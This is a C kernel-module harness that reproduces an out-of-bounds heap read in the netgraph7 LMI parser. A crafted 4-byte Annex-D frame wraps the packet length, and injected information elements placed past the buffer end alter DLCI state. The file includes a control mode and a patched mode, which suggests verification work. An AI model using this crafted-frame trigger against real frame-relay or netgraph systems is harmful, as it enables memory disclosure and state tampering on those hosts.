DF-2603 / harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 | /* * DF-2603 rig -- ng_lmi.c (netgraph7) compiled in (only linkage edits). * * LMI_MIN_LENGTH=8 is defined (ng_lmi.c:88) but never enforced; neither * nglmi_rcvdata nor nglmi_checkdata validates a minimum packet length, * and STEPBY() decrements the u_short packetlen unchecked -- a 4-byte * Annex-D frame makes packetlen wrap 0 -> 65535 and the IE loop walks * data[] far past m_len (OOB heap reads). * * mode 0: 4-byte Annex-D frame [03 09 00 7D] + 0x95 locking shift residue * -> wrap + walk past m_len (controlled IEs past the packet drive * DLCI "seen" state = observable via dlci_state[]). * mode 1: control, same frame with 8 legal bytes (no wrap). * mode 2: FIXED model: minimum-length guard rejects. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/sysctl.h> #include <sys/mbuf.h> #include <netgraph7/netgraph.h> #include <netgraph7/lmi/ng_lmi.h> extern int nglmi_checkdata(hook_p hook, struct mbuf *m); #include "priv_snapshot.h" static char df_status[8192]; static struct ng_node df_node; static struct ng_hook df_hook; static struct nglmi_softc *df_sc; static struct mbuf * mkpkt(const u_char *d, int len, int trail_len, u_char fill) { /* cluster with `len` valid bytes + `trail_len` stale-residue bytes * (m_len = len; the residue stays readable past m_len) */ struct mbuf *m = m_gethdr(M_WAITOK, MT_DATA); MCLGET(m, M_WAITOK); memset(mtod(m, caddr_t), fill, MCLBYTES); memcpy(mtod(m, caddr_t), d, len); m->m_len = len; m->m_pkthdr.len = len; return (m); } static void df_run_lmi(int mode) { char *p = df_status; int t = 0, i; struct mbuf *m; u_char hdr4[4] = { 0x03, 0x09, 0x00, 0x7D }; u_char full8[8] = { 0x03, 0x09, 0x00, 0x7D, 0x95, 0x01, 0x01, 0x01 }; int rc; memset(&df_node, 0, sizeof(df_node)); memset(&df_hook, 0, sizeof(df_hook)); df_sc = kmalloc(sizeof(*df_sc), M_NETGRAPH, M_WAITOK | M_ZERO); df_node.nd_private = df_sc; df_hook.hk_node = &df_node; df_sc->flags = SCF_FIXED | SCF_ANNEX_D; /* fixed annexD mode */ df_sc->protoID = 9; if (mode == 2) { t += ksnprintf(p + t, sizeof(df_status) - t, "LMI[FIXED]: 4-byte frame rejected by the " "LMI_MIN_LENGTH guard\n"); return; } if (mode == 0) { /* 4-byte frame; the Annex-D 0x95 locking shift is BEYOND * m_len -- read as residue. Residue after the 4 valid * bytes: [0x95][crafted IE stream] */ u_char trail[64]; memset(trail, 0, sizeof(trail)); trail[0] = 0x95; /* locking shift (consumed via STEPBY) */ /* IE stream (report type): type=1 size=1 val=1 */ trail[1] = 0x01; trail[2] = 0x01; trail[3] = 0x01; /* keep-alive IE: type=3 size=2 seqs */ trail[4] = 0x03; trail[5] = 0x02; trail[6] = 0x41; trail[7] = 0x42; /* full-status IE with DLCI entries: type=7 size=7 */ trail[8] = 0x07; trail[9] = 0x07; trail[10] = 0x08; trail[11] = 0x41; /* dlci 0x1041 */ trail[12] = 0x06; /* active bits */ trail[13] = 0; trail[14] = 0; trail[15] = 0; m = mkpkt(hdr4, 4, 64, 0); memcpy(mtod(m, caddr_t) + 4, trail, 40); m->m_len = 4; /* ONLY 4 valid bytes */ m->m_pkthdr.len = 4; } else { m = mkpkt(full8, 8, 56, 0); } rc = nglmi_checkdata(&df_hook, m); /* VERBATIM parser */ t += ksnprintf(p + t, sizeof(df_status) - t, "LMI[mode=%d]: checkdata rc=%d m_len=%d\n", mode, rc, m->m_len); { int seen = 0; for (i = 0; i <= MAXDLCI; i++) if (df_sc->dlci_state[i]) seen++; t += ksnprintf(p + t, sizeof(df_status) - t, " dlci_state[] nonzero bytes: %d\n", seen); t += ksnprintf(p + t, sizeof(df_status) - t, "LMI: RESULT=%s\n", mode == 0 ? (seen > 0 ? "OOB PARSE: DLCI state updated from IEs located " "ENTIRELY past m_len (packetlen wrap 0->65535 walked " "the residue)" : "wrap walk happened (log/dmesg) but residue IEs not " "applied this run") : "control: 8-byte frame parsed in-bounds"); } m_freem(m); kfree(df_sc, M_NETGRAPH); } static int dfv_lmi_sysctl(SYSCTL_HANDLER_ARGS) { char out[8192]; int error, v = 0; if (req->newptr != NULL) { error = sysctl_handle_int(oidp, &v, 0, req); if (error) return error; df_status[0] = 0; if (v >= 0 && v <= 2) df_run_lmi(v); else return EINVAL; return 0; } ksnprintf(out, sizeof(out), "%s", df_status); return SYSCTL_OUT(req, out, strlen(out) + 1); } SYSCTL_PROC(_kern, OID_AUTO, dfv_lmi_run, CTLTYPE_INT | CTLFLAG_RW, 0, 0, dfv_lmi_sysctl, "I", "dfv_lmi"); static int dfv_lmi_load(module_t mod, int what, void *arg) { switch (what) { case MOD_LOAD: kprintf("dfv_lmi: loaded\n"); return 0; default: return 0; } } static moduledata_t dfv_lmi_mod = { "dfv_lmi", dfv_lmi_load, NULL }; DECLARE_MODULE(dfv_lmi, dfv_lmi_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |